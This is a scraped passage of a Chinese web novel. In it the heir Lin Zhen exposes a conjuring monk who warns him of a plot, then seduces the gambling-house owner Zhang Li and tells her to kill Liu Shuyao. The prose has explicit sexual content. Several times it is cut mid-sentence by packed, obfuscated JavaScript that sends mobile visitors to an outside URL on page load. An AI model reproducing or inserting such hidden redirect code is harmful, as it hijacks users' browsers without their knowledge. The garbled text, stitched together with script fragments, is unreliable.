d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789252|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林震仙不由地从椅子上坐直身体:“你觉得能有多少?” 林臻嘴角勾起一抹淡然的笑意,语气轻松得仿佛在说一件无关紧要的小事:“最多也就百万两的样子。但对于已经腐朽的大乾皇族来说,杯水车薪。” “孙儿之所以建议您立刻举荐英才,就是为了顶替这些犯了错误的官员。因为陛下不会立刻出手整治他们,这里面牵扯的东西实在太多了。但陛下又对他们恨之入骨,认为他们是吸附在朝廷和百姓身上的蛆虫,不除不快。” “我们举荐上去的人,可以先在贪官的手下任副职,等熟悉了业务以后再建议陛下动手除掉贪官,这样就能给朝堂来一次大换血,百姓也能过几年好日子。不过.” 林臻说着说着 就说不下去了,林震仙追问道。 “不过什么?” 林臻叹息道:“不过.唉,这个办法也只能治标,不能治本。” “为什么?” “因为您举荐上去的人还会贪污。这是习惯,也是传统,没办法改变的事情。人性是贪婪的,没有谁会望着金山银山不动摇,况且我们大乾又是人情社会。” “哼!”林震仙一拍桌子站起来:“如果连老夫举荐上去的人也敢贪污,贪一个老夫杀一个!就不信杀不光!” 林臻也想啊。 他也想杀光那些人。 他们过着神仙般的日子,而我们普通人想往上看一眼都犯法。 有很多的主播、网红,他们让世人看到了天宫的冰山一角,结果就遭到了毁灭性的打压。 不敢高声语,恐惊天上人。 说好的人人平等呢? 曾经倡导的那些主义呢? 我们用鲜血炼成砖墙,铸造起来的钢铁长城呢? “墙倒了!” “世子!世子!” 啥玩意? 钢铁长城倒了? 林臻正纳闷呢,就看到曹雄气喘吁吁地跑进来。 “世子,赌场后院的墙倒了,您快去看看吧!” 第120章 佛祖显灵了 林臻一听这消息都懵了。 “开什么国际玩笑?墙怎么会倒? 曹雄身为武将都跑的上气不接下气,可见事情真的是很紧急:“不知道啊,张老板让末将来送消息,虎贲营的弟兄正在哪里维持秩序呢。 “可还有别人看见? 曹雄摇头道:“没有,墙塌的时候,医馆后院就被封锁了,任何人不得进去。 “好,我即刻前往查看。祖父,孙儿暂且告退。 林震仙追问道:“你今天不用去宫里了吗? 林臻露出令人放心的笑容:“祖父且放心,这几天够陛下忙的。再说,这种时候估计她也不希望我在场。 言罢,林臻身形一闪,已朝赌场疾步而去。 赌王争霸赛的昭告与慕容嫣的圣旨宛如孪生兄弟那般,静静悬挂在英雄赌场大门两侧,依附于弥勒佛那笑态可掬的大肚皮上,显得格外引人注目。 林臻的目光一触即离,心中却不由自主地泛起一股难以名状的情愫——那是一种近乎亵渎神明的邪恶快感,又混杂着几分难以言喻的阴郁,两者奇妙地交织在一起,竟生出一种莫名的和谐。 自王胖子大闹喇嘛庙一事尘埃落定后,慕容嫣竟未下令撤去这两尊见证了无数风云的弥勒佛像,就连那喇嘛庙中的高僧们,也似乎集体遗忘了这段过往,未曾提及要将它们收回。 喇嘛们的沉默,似乎为这一切画上了一个微妙的休止符。然而,世间之事往往出人意料,偶有路过的僧人,目光在这些佛像上停留片刻,仿佛在无声地诉说着什么,又或是,在默默祈祷着什么。 有的僧人唉声叹气,为佛祖被亵渎感到悲伤;有的苦行僧怒气冲天要找张俪理论,结果被虎贲营联手打成真佛;还有个癞头和尚欠欠儿的摆上两座香炉,一边念经一边对路过的人群大喊。 “金钱落口袋,我佛留心头。诸位施主,我是棋牌佛!专治疑难杂症,有需要看事、看病的,百治百灵! 林臻看着那长相酷似济公的老和尚,嘴角轻扬,朝二狗与侯春微微使了个眼色。 二狗这家伙,早已是精明透顶,腮帮子一咧,走过来把和尚架起来。 和尚连连摆手:“诶诶诶!这位壮士,有话好说,有话好说啊! “他奶奶的个老秃驴,敢在世子的场子门口行骗?活拧了是不是! “我没有啊! 二狗像个臭流氓似的吼道:“没有?好啊,那你给你狗爷我瞧瞧,看看我像不像你失散多年的亲爹! “壮士!你放开我,我送你一张保命符!等你的秘密被曝光之后,这符或许能保你一命!” 二狗连看都没看,抢过来就撕成碎片,随后扔在地上还踩了两脚:“少废话,赶紧滚蛋,否则别怪狗爷不敬神佛!” “你还是赶紧放开我,否则佛祖会惩罚你的!” 言罢和尚开始摇动手里的铃铛,也不知道他到底是和尚还是道士,就听见他含含糊糊地吼着:“天灵灵地灵灵,佛祖金身快显灵!” 二狗见他不识抬举,一脚踹在他肚子上:“我去你妈的!” “砰!” “哎呦!” 和尚惨叫一声,摔在地上。 然而就在这一瞬间,和尚捏着佛珠的手突然金光四射! 就像太阳光照在了金箔上。 “哗啦啦!” 一阵呛鼻的烟雾开始急速升腾。 二狗往后退了两步,捂着嘴扇了扇。 紧接着老和尚站了起来,表情肃穆,神态庄严,单手合十念了声佛号:“阿弥陀佛。” 他处在烟雾之中,浑身上下都披着金光,活脱脱的佛祖显灵。 “既见本佛,为何不拜!” 二狗瞬间就愣住了,膝盖一软就要跪下去。 他看了看身后饶有兴趣的林臻,咽了口唾沫:“咕嘟.世子,这逼真是佛祖啊!” 围观的群众哪里见过这等场面,还都以为是佛祖显灵呢。 当即就叩拜下去,双手合十使劲地磕头。 “佛祖显灵啦!” “佛祖救救我们吧!” 见百姓跪成一个圈,大有把老和尚供起来的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789253|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臻确定以后,这才走过去,蔑笑着透过烟雾一把抓住老和尚的腰带使劲抖落,竟然还真从里面抖出很多粉末。 粉末落在地上便开始自燃起来,不过温度很低,林臻伸手去碰,丝毫不烫手。 牛逼啊! 这年头就有人玩魔术了吗? 他定睛看了看老和尚,眼中没有恼怒,反而满是惊奇之色:“找我有什么事儿?” “额”老和尚顿时有些语塞:“本佛不知道你什么意思。” “少装,你在我赌场门口自称棋牌佛,还浑身冒光,引得百姓跪拜,不就是想以此来让我相信你是真佛祖吗?到底什么事儿?说吧。” 老和尚可能也没想到林臻竟然这么聪明,可以看穿他的把戏。 “阿弥陀佛,林施主聪慧至极,贫僧佩服。”老和尚身子一抖,火光立刻消散。 若是胖子在这肯定会跳着脚地大喊:“嘿!这可不简单,细活!” 火光消失,烟雾也随之尽散,百姓们看到这一幕更是坚信老和尚就是西天来的佛祖,纷纷要围上来求告。 “佛祖您开眼啊!帮帮我吧!” “佛祖,我家小儿重病,您伸手摸摸他,求求您了!” “佛祖,以后我天天给您上香,您就赏赐我点钱花吧!” “干什么干什么!”二狗瞪着眼睛朝群众们大吼道:“棋牌佛今天很忙!他要照顾我们英雄赌场,你们不许跟着凑热闹!滚蛋!” “你这人怎么这么说话啊!” “就是,就许你们有钱人拜佛,不许我们拜啊?” “这也太没有天理了!” “滚!”二狗立刻拔出长刀,吓得围观百姓妈呀一声就跑了。 林臻没好气的说道:“二狗,你能否别动不动就拔刀,老子好歹也是世子,被你弄的像个恶霸一样。” 二狗嬉皮笑脸的说道:“嘿嘿嘿,小的也是担心他们冲撞了您嘛。” 这人已经贱的无可救药了。 林臻无奈的摆摆手,对三个马仔吩咐道:“把他请到后院,我有话要问。” 第121章 看美女,要顺利领口往下看 这次二狗没有动粗,老和尚也很配合。 林臻走近了才发现这老和尚竟然真的穿着和济公一样的装扮。 只是他好像比济公的生活略宽裕些,不至于袒露胸毛。手里同样拿着一把破扇子,脚上穿着不知道几百年没刷过的布鞋,脏兮兮地看着就有一股黄绿色的臭气往上飘。脖子上戴着很粗很大的佛珠,黑亮黑亮的已经包浆了。 难不成真是济公? 不可能。 济公才不会用魔术哄骗老百姓呢?那他到底是谁?他这么做又是为什么呢? 一连串的问号在林臻脑海中回响,好不容易众人来到后院,就看到虎贲营将士一个个凶神恶煞地把守着已经坍塌的墙壁。 说是坍塌,其实就是运钱时凿开的缺口不知道因为什么原因塌陷了,导致又露出个大窟窿。 难道说是工匠手艺不对? 不可能啊,这墙是虎贲营将士糊上去的。 赌场里乱糟糟的人来人往,张俪站在院子里穿着淡蓝色长裙,攥着手左顾右盼,最后,她期盼依旧的人终于出现在眼前,她提着裙边小跑着过来。 “世子!” 美人的脸上写满了焦虑,林臻把她搂进怀里,轻轻拍了拍:“别怕,没事了。” 一股莫名的安全感涌上心头,张俪那如小鹿乱撞的心终于安静下来,反手搂住林臻的腰轻轻点头。 林臻松开手,问曹雄:“这到底怎么回事?” 张俪抢过话语权说道:“还是我来说吧。世子,这墙塌得实在蹊跷,当日补上的时候是妾身亲眼盯着的,没有任何差错,虎贲营将士也不至于连墙都不会补,可今天好端端凭空就塌了。妾身担心里面的钱财,所以才赶紧让曹将军通知您过来的。” “你的意思是,事前一点征兆都没有?” “嗯!妾身肯定,一点征兆都没有。现在赌场里人多眼杂,妾身只要让虎贲营的将士先看守,等您过来,再做决定。” 林臻沉默着走到塌陷的地方。 蹲下身拿起一块砖头来看,发现砖头完好无损,泥浆也硬邦邦的没有任何问题。 这就奇怪了,连泥浆都是硬的,墙怎么会塌呢? 林臻扔掉砖头,拍了拍手:“钱财可有少?” 张俪说道:“没有,妾身去医馆问过孙老神仙了,他也说没有人来过后院。” “没事,再糊上吧。” 林臻的轻描淡写让在场所有人都感到震惊。 不愧是王府世子,这份胆魄和气度绝非一 般宵小之辈可比。 张俪更是为自己找到这样的英雄而感到骄傲。 但事情终归是出了,总归是要调查一下的,这么多钱可没有千日防贼的道理:“世子,您不调查一下吗?” 林臻露出自信的笑容:“我已经知道是怎么回事了。” “真的!?那您快说呀!” “不急,让兄弟们都退下吧,找两个人重新补墙。” 言罢林臻转向老和尚,伸手向赌场方向虚引:“大师,请楼上一叙。” 老和尚笑了笑,好像对林臻突然表现出来的尊敬毫不意外,迈步向前。 张俪有些纳闷地拉了拉林臻的衣袖,像个小孩子似的轻声道:“世子,那和尚是谁呀?” “是我在门口碰见的大师。” “大师?他很灵验吗?” 林臻:. “世子?” 林臻突然不说话了,张俪收回盯着和尚上楼的目光看向他,突然发现他竟然在盯着自己的领口看! 原来张俪在刚刚的跑动中领口没掖好,竟然松开了一个缝隙,而林臻又比她高很多,一米八的视角正好可以看进去! “哎呀!” 张俪大叫一声,随后赶紧后退两步,捏着领口娇嗔道:“世子,你怎么可以这样!” “看不出来啊,身板这么瘦,胸脯还挺有料的嘛。” “世子!!你快别说了!”张俪难得露出如此焦急羞涩的一面,伸着柔荑要堵住他的嘴巴。 林臻爽朗大笑:“哈哈哈哈,赶紧弄弄衣服,然后来楼上喝茶。” 言罢林臻迈步上楼,只留下张俪一人满面娇羞的跺脚。 张俪的办公室林臻是有权力进来的,正中间的放置着一套桌椅,看起来很是高调奢华。 老和尚就坐在椅子上,对站在旁边刚刚给他倒完水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“外面的那些凡人当然不能动世子分毫,但如果这个人是世子最亲近的人呢?” 最亲近的人? 林臻条件反射地想到了一个人。 二狗。 刚刚在门口的时候,这老和尚就说过一句话:“等你的秘密被曝光之后,这符或许能保你一命!” 难道说二狗背叛了自己? 没理由啊。 林臻坐直身体,郑重地问道:“你说的到底是谁?” 第122章 请佛祖喝花酒 林臻已经没什么耐心了,甚至有一拳打死这个老秃驴的打算。 虽然他以前也经常卖关子,任何事情不直言表达,但也没像他似的。 老和尚嘴角勾起一抹狡黠的笑意:“呵呵呵世子真乃少年英雄,相貌堂堂,又频遭桃花之劫,引得无数异性倾心。所幸世子心性高洁,非是沉迷于女色之辈,否则,只怕早已化作黄土下的枯骨了。倘若老衲所料不差,世子府邸之中,便潜藏着一朵带刺的毒花,行鱼水之欢时,还需多加小心才是。” 老和尚的话语颇为玄妙,令林臻听得如坠云雾之中。 难道说是浣碧要坑害自己? 不可能。 晴雯也不可能。 尽管原著中对晴雯这丫头的笔墨寥寥,可经由这些时日的细细体察,她心中并无丝毫加害于我之意。 如此说来,就只剩刘书瑶一人了。 听老秃驴的意思,刘书瑶会在行房的时候害自己怎么害? 把我夹断吗? 还是说给我下蛊? 她刘书瑶有这两下子能走到今天吗? 林臻轻轻摇了摇头,心中思绪纷飞,却始终难以捉摸那老僧话语中的深意。 也罢,这老和尚言辞晦涩,玄妙莫测,自己也不能偏信他的一面之词。 他微微一笑,礼貌地问道:“敢问大师法号如何称呼?” 老僧淡然回应:“贫僧自号棋牌佛。” 林臻:“.” 这老和尚的戏瘾还真是不小。 他调整了一下思绪,继续道:“好吧,就算你说的都是事实。但我与你素昧平生,你为何不惜历经险阻地帮我?” 老僧目光温和,缓缓道:“贫僧亦有所求,望世子能施以援手。” 原来是谈生意,这就好办多了。 林臻闻言,心中大石落地,复又倚回椅背二郎腿悠然翘起,手中轻转着一只温润的羊脂白玉貔貅,玩味十足。 “你且说来。” 棋牌佛亦随之挺直腰板,神色凝重:“世子可曾耳闻那拜火教?” “略知一二。” “那世子应当明了,自那拜火教踏入我大乾王朝的广袤之地,其发展势头之猛,犹如野火燎原,令人瞠目。迄今为止,他们已悄无声息地建立起三座圣坛,根基日益牢固,仿佛要在这片土地上生根发芽。 这些异端之徒,不仅与外族勾连,狼狈为奸,更以诡谲之术迷惑人心,使得无数百姓陷入迷惘,至今已有教众数万人。更令人发指的是,他们竟以残忍 手段,肆意残害无辜少女,其行为之恶劣,简直天理难容。 上月泰山脚下,我大乘佛教的弟子与拜火教爆发了一场激烈的争斗。刀光剑影,血雨腥风,双方死伤无数,场面之惨烈,难以言表。只是,这等惨事并未传到京城。 棋牌佛说的这些林臻都是知道的。 拜火教,源自波斯,其足迹横跨整个亚欧大陆,基本每一片国土之上皆矗立着它们的圣坛。 这些外来者以财大气粗之姿,谨守本分,赢得了各国君主的宽容以待。然而,宫廷的灯火未曾照亮其背后的暗影。 拜火教私下里与朝中官员暗中勾结,以权谋私,榨取民脂民膏,只为教派势力的迅速膨胀,不惜任何代价。他们的野心,是借由信徒之众与皇室分庭抗礼,一旦谈判桌上无法满足他们的条件,便不惜以一场宗教与皇权的血腥对决相要挟。 林臻心中早已勾勒出这一连串事件的轮廓,只是未曾料到,拜火教的势力竟如野火燎原,蔓延之速超乎想象。 不过话又说回来。 对林臻来讲,佛教和拜火教其实都不是什么好东西,两边人打起来那是狗咬狗一嘴毛,他乐见其成。 然而佛教之中,鲜少听闻有鱼肉百姓之行,这点林臻倒是颇为赞许。反观拜火教,倘若真如棋牌佛所言的那般不堪,那他们也确实没有存在下去的必要了。 眼见林臻面色沉稳,不为所动,棋牌佛更是焦急道:“拜火教分坛教主耶路撒不知道和喇嘛庙堪布达成了什么协议,从京城里带走一百零八个少女,而堪布竟然不管不问!更令人心寒的是,此事竟未引起任何官员的警觉与干预。 “那些如花似玉、本应享有青春欢笑的少女,恐怕即将成为拜火教与某些地方官员狼狈为奸的牺牲品,被当作礼物般肆意摆布。一旦他们的阴谋得逞,不仅百姓的田地将被无情掠夺,连孩童也要被迫分离,成为拜火教的信徒。 更令人发指的是,他们将借此传播极端邪说,企图动摇我大乾的根基,此等行径,无疑是对江山社稷的公然挑衅与破坏!世子身为大乾未来的摄政王,肩负着千万子民的期望与重托,难道真要坐视不理,任由这等祸患肆虐吗? 棋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789255|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌佛口若悬河,言辞间唾沫四溅。 而林臻早已非昔日那个仅凭上司几句激昂之词,便能热血沸腾、冲锋陷阵的青涩少年了。 岁月与风霜,早已将他锻造成了一位冷静沉稳的领导者。 “我对你们宗教间的争斗不感兴趣。不过拜火教的事情我会派人去调查, 假若真如你所说的,我会派兵收拾拜火教。但你要记住” 说到这里,林臻的目光突然变得凌厉如刀,他死死地盯着棋牌佛,仿佛要将对方的灵魂洞穿:“即便我出手铲除了拜火教,那也绝不意味着我支持你们佛教。你们最好给我收起那些花花肠子,莫要再蛊惑无辜百姓出家为僧,更休想在我这里讨得半张度牒!” 棋牌佛似是从心间觅得了所求的答案,缓缓起身,双手轻合于胸前,低语道:“阿弥陀佛,世子大恩,贫僧铭记于心,这便告辞了。” “别急,等喝杯花酒再走吧。” 林臻心中明了,这些出家人看似超脱尘世,实则内心世界更为复杂。 越是那些近乎神祇之人,往往越是质疑神祇的存在与否。说到底,信佛,实则信己。 正如《般若波罗蜜多心经》所言:观自在菩萨。 棋牌佛对这“喝花酒”三字竟是并不陌生,嘴角甚至勾起一抹男人间不言而喻的微妙笑意:“世子请客?” “那必须的。足道也是道,手法也是法,道法自然,天理循环。” “世子真乃妙人也,只是贫僧实在不懂什么是足道、手法。” “足道我会尽快落实,今天你就先体验下手法吧,据说燕来楼里的姑娘都很专业,你会不虚此行的。” 言罢林臻带棋牌佛下楼。 说是喝花酒,也不过是套套近乎而已,因为林臻总觉得这个和尚不简单。 他有着超乎这个时代的知识。知道如何利用低温火焰、知道酸醋能侵蚀围墙,还知道有人要陷害自己。 若换作往昔,林臻定会对此类人物报以不屑之态,笑其荒诞不经。然而,自打穿越到这里后,林臻的心境也随之发生了变化。他开始对风水之说抱有一丝敬畏,对鬼神之事亦不再全然嗤之以鼻。 某人说:人对宇宙的理解大概是5%。 林臻却认为我们连0.1%都不到。 有很多很多科学没办法解释的事情发生,太正常了。 第123章 唯有真佛与美女不可辜负 赌场一楼,人声鼎沸,仿佛一片沸腾的海洋。自那“赌王”二字作为招牌赫然亮相后,整个大乾的赌林高手们便如潮水般纷至沓来,梦想着能在这片赌桌上留下自己的传奇。 现在是海选阶段,任何人只要交上十两银子的报名费就可以参加比赛,报名时间截止到月中,时限一到,一场场激烈的淘汰赛便将拉开序幕,半个月后,大乾首位赌王的桂冠将花落谁家,引人无限遐想。 为了能更好地经营赌场,张俪前几天又精心挑选了二十名姿色出众的丫鬟, 这些女子年龄都在十六岁到二十岁之间,身高一米六五上下。她们之中,有的性情温婉,柔似秋水,有的则活泼灵动,轻盈若燕。 她们的存在,为这赌场平添了几分不可言喻的柔情与高雅,使得这场赌局的盛宴,愈发色彩斑斓,引人入胜,仿佛每一局牌落,都伴随着她们轻浅的笑意,更加扣人心弦。 她们主要负责给客人提供茶水,带客人去包厢,给客人发号,不负责荷官的工作。 为了进一步满足那些身份显赫、要求甚高的贵宾,张俪不惜重金,自燕来楼聘请了四位名动一时的花魁,人称“四大金花”。 这四位佳人不仅美貌倾城,更擅长以她们的机智与才艺陪伴宾客度过一个又一个欢声笑语的夜晚,让赌桌旁的每一刻,都充满了难以忘怀的温馨与乐趣。 若是客人有特殊需求,只需拿出五百两银子,就可以和她们在包厢里度过一段销魂的时光。 林臻不打算在自己店里请棋牌佛吃花酒。 好不容易请尊“真神”,不可能糟践了。 于是带着他准备出门直奔燕来楼。 恰在此时,张俪款步而来,腰肢轻摆,犹如春日里摇曳生姿的柳枝。她已细心整理过衣裳,脸颊上犹自泛着两团羞涩的红晕。一眼瞥见林臻,她先是娇嗔地横了他一眼,随即轻声问道:“干什么去?” 棋牌佛在一旁,目光炯炯,上上下下仔细打量着张俪,嘴里不住发出赞叹:“啧啧啧,真真是天生丽质难自弃,世子好福气啊!” 张俪对这毫不掩饰的注视心生不悦,但念及是林臻的朋友,便强压下心头的不适未曾发作。 林臻说道:“我打算带大师去吃杯花酒。” 张俪闻言,惊诧之色溢于言表,失声道::“啊?和尚吃花酒?” 还有王法吗? 还有法律吗? 棋牌佛笑着念了声佛号:“美色穿肠过,我佛心中留。信佛和吃花酒并不冲突。” “.”张俪尴尬地笑道:“果然是高僧啊。” “那我们走了。”林臻淡笑着要带着棋牌佛离开,却没想到他竟然站在原地不动。 “世子请留步。” “嗯?你不想去了?” “世间唯有真佛与美女不可辜负。贫僧自己去吃花酒即可,您还是留下来多陪陪女施主吧。” 言罢棋牌佛再次露出猥琐的笑容,随后那双昏黄的老眼随即转向了张俪,带着几分调皮与戏谑,缓缓向她伸出一只布满岁月痕迹、黑沉沉如枯枝般的手。 张俪一时未解其意,目光中带着迷茫,懵懵地看着林臻。 棋牌佛显然没有把手拿开的意思,林臻反应过来道:“给他点钱,让他自己去.” 张俪闻言,从绣荷包中小心翼翼地取出一锭沉甸甸的金子,轻轻放在棋牌佛掌心。 棋牌佛笑眯眯地接过,犹如市井中的狡猾商贩,习惯性地用牙轻轻一咬,随即赞不绝口道:“好东西啊!” “好吧,看在这锭金子的份上,世子。”棋牌佛缓缓自衣襟内取出一粒丹药,目光诚挚地递向林臻:“这是清心寡欲丹,若您相信贫僧,就请吃下它,三日内,任何剧毒都对您无效。” 林臻眼神中带着几分疑虑,却仍旧伸手默默接过了那粒丹药。一旁的张俪刚欲开口相劝,却被林臻轻轻摆手制止。 棋牌佛把破布袋扔到肩膀上,唱着歌迈步而去:“紧打鼓来慢打锣,停锣住鼓听唱歌。诸般闲言也唱歌,听我唱过十八摸.” “伸手摸姐面边丝,乌云飞了半天边。伸手摸姐脑前边,天庭饱满兮瘾人” “伸手摸姐大腿儿,好相冬瓜白丝丝。伸手摸姐白膝湾,好相犁牛挽泥尘” “这是什么流氓和尚!简直岂有此理!”张俪双手叉腰,怒气冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789256|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲地说着,眉眼间尽是对那和尚的不满,“世子,您日后可千万别再与他有所往来,免得被他带坏了!” “哈哈哈哈,我倒觉得这和尚有趣。”林臻爽朗一笑,目光落在手中的丹药上,最终还是没有勇气将其吞下。 他可不会这么轻易相信一个人。 见林臻似有服用之意,张俪心中一惊,连忙劝阻:“世子,这来历不明之物,万万不可轻易入口啊!” “我知道,我只是觉得这个和尚应该知道挺多东西的,他来找我的目的,绝非是什么狗屁拜火教,他应该是另有图谋。”林臻把丹药揣起来,给侯春个眼神。 后者会意,匆匆跟上棋牌佛而去。 林臻缓缓转身,那 双深邃的眼眸穿透了人声鼎沸、喧嚣至极的赌场,仿佛要将这片繁华尽收眼底。 赌王争霸赛的专属赛台被精心划分而出,如同贵族领地般鹤立鸡群,而那些散落的赌桌则成了平民的舞台。富有的商贾与显赫的官员子弟,自是享受着包厢内的私密与奢华,远离尘嚣。 即便赌场内的布局如此层次分明,却依旧难掩其拥挤之态。俏丽的丫鬟手捧茶壶,在人潮中灵巧穿梭,宛如鱼儿游弋于急流;而那些急于寻找解脱之地的赌客,口中嚷嚷着,不时与擦肩而过的路人发生摩擦,引来一阵阵怒目相向。 目睹此景,林臻嘴角勾起一抹淡然的笑意:“好像该考虑扩建的事情了。” 张俪闻言,微微颔首,眸中闪烁着赞同的光芒:“确是如此,咱们赌场的生意实在太火爆了,妾身正琢磨着,或许可以将隔壁的酒肆与几栋民居买下来,打通内部,以便迎接更多的宾客。” 林臻闻言,眼神中闪过一丝豪气,笑道:“仅仅购置几栋民居未免太小家子气了,不如将整个街巷都买下来。” “啊?!”张俪闻言,惊讶之情溢于言表,一双美眸瞪得浑圆,难以置信地言道:“世子,这手笔.未免也太大了些吧?” 林臻理所当然地道:“我们有的是钱啊。” “您确实有的是钱,但也不能这么花呀,我们没有那么多客人。” “上楼,我慢慢告诉你。” 第124章 说话就说话,手别乱动 棋牌佛说让自己多陪陪张俪。 这话里是不是又有什么深意呢? 该死的秃驴,说话神神叨叨的让人联想。 林臻紧握张俪的柔荑,缓缓踏上专为她与员工铺设的楼梯。这梯,仿佛是他们二人独有的小径,与外界的喧嚣隔绝。而那些前往包厢的赌客,则需通过南边那座金碧辉煌的楼梯,方能登楼。 不过数十级台阶,已有五六名丫鬟小厮迎面而来,他们匆匆行礼,眼中闪烁着好奇与窃笑,随后掩嘴轻笑着离去。这一幕,让张俪显得有些局促与尴尬。 张俪几次试图悄悄抽回被林臻紧握的手,却都被他温柔而坚定地驳回。直至二人行至卧房门槛前,张俪心中恍若明镜,瞬间明白了林臻的意图,不由得紧张起来,声音中带着一丝颤抖:“世子.我们还是去书房吧,那里更为妥当。 林臻闻言,嘴角勾起一抹玩味的笑意,眉宇间尽显风流:“哦?难道你喜欢在书房里做? “做?做什么? “你说做什么? “我妾身张俪似是恍然领悟了林臻话中的深意,眼眸轻转,羞涩地避开了他的视线,两颊迅速染上了两朵娇艳的红云。 林臻爽朗一笑,推开门扉,不由分说地牵起张俪的手,引领她步入室内。门刚一合上,他便猛地一发力,将张俪温柔地拦腰抱起,随后用脚轻轻一勾,门便“砰地一声关了个严实。 “啊!世子.张俪被这突如其来的举动惊得轻呼出声,本能地双手环紧了林臻的脖颈,身体因惊吓而微微颤抖。 林臻感受着怀中佳人的温热,那肌肤相触的细腻与柔美,如同春日里最温柔的微风,轻轻拂过心田,撩拨得他心绪难平,眼中不禁闪过一抹炽热的光芒。 他轻柔地抱着张俪,来在床边缓缓坐下。 张俪微微挣扎,欲要起身:“世子.妾身这就去为您斟茶来。 “不渴。 “那妾身去给您准备点水果。 “不饿。 “那那你先把妾身放下来,我们坐下聊.张俪的声音中带着一丝不易察觉的颤抖。 林臻之前的轻浮之举如同烙印,让她心中残留着挥之不去。 此刻的她,宛如一只受了惊的小鹿,眼中满是忐忑与不安。 然而,林臻似乎并无就此罢休之意。 他右手温柔却坚定地环住了她纤细的腰身,左手则缓缓下移,轻轻握住了她光洁无瑕的脚踝,沿着那如丝般顺滑、毫无瑕疵的小腿,以一种近乎虔 诚的姿态,细细摩挲,由上至下,再由下至上,每一个细微的动作都仿佛在编织着一种无形的网,将张俪的心紧紧缠绕。 张俪浑身一颤,仿佛被一股莫名的电流击中,心头涌起一股难以言喻的酥麻感,就像是万千细密的蚁群在心间缓缓爬行,让她既慌乱又无力抗拒。她颤抖的手指紧紧揪住了林臻的衣袖,仿佛那是她在这突如其来的风暴中唯一的依靠,指节因用力而泛白,透露出她内心的慌乱与无助。 她咬紧贝齿道:“世子,您放妾身下来吧。” 与张俪的情动相比,林臻却像个没事人似的,他沉声道:“你还记不记得当日我们打赌,我说要你帮我杀个人?” “嗯世子,您说话就说话,手别乱动可以吗?” “不可以。” “这” “明天来王府,杀了刘书瑶。” “啊!?”张俪瞬间清醒了一半,刚要开口询问。 然而,就在这微妙的间隙,林臻如同夜色中的疾风,悄无声息地侵入了她的防线,他的手指沿着她小腿的曲线,缓缓向上游走,带着一种不容抗拒的温柔力量。 在某个不可言喻的瞬间,林臻触动了她内心深处的隐秘开关,导致她整个人骤然间紧绷如弦,双腿不由自主地绷得笔直。两只白藕般的手臂紧紧缠绕着林臻,仿佛要借此稳住自己摇摇欲坠的心神。双眸迷离而深邃,极力地向上翻望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789257|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛要捕捉住这突如其来的悸动。 她很想把这种感觉喊出来,但身为赌场老板的尊严与矜持,让她只能将这份悸动深深压抑,化作无声的震颤。 二十几秒后,才狠狠哆嗦了一下,放松下来。 “呼呼.呼.”张俪仿佛刚从一场激烈的百米冲刺中解脱,胸膛剧烈起伏,每一次呼吸都带着几分急促与喘息。 林臻在一旁,带着几分戏谑的口吻,问得有些不着边际。 “舒服么。” 张俪缓缓抬起眼帘,那双眸子里还残留着情动后的潋滟波光,带着几分妩媚与娇嗔,望向林臻的眼神中既有责备也有无奈。她轻轻扬起手,假装要打他,却在半空中缓缓停下,最终无力地搭在了林臻坚实的肩膀上。 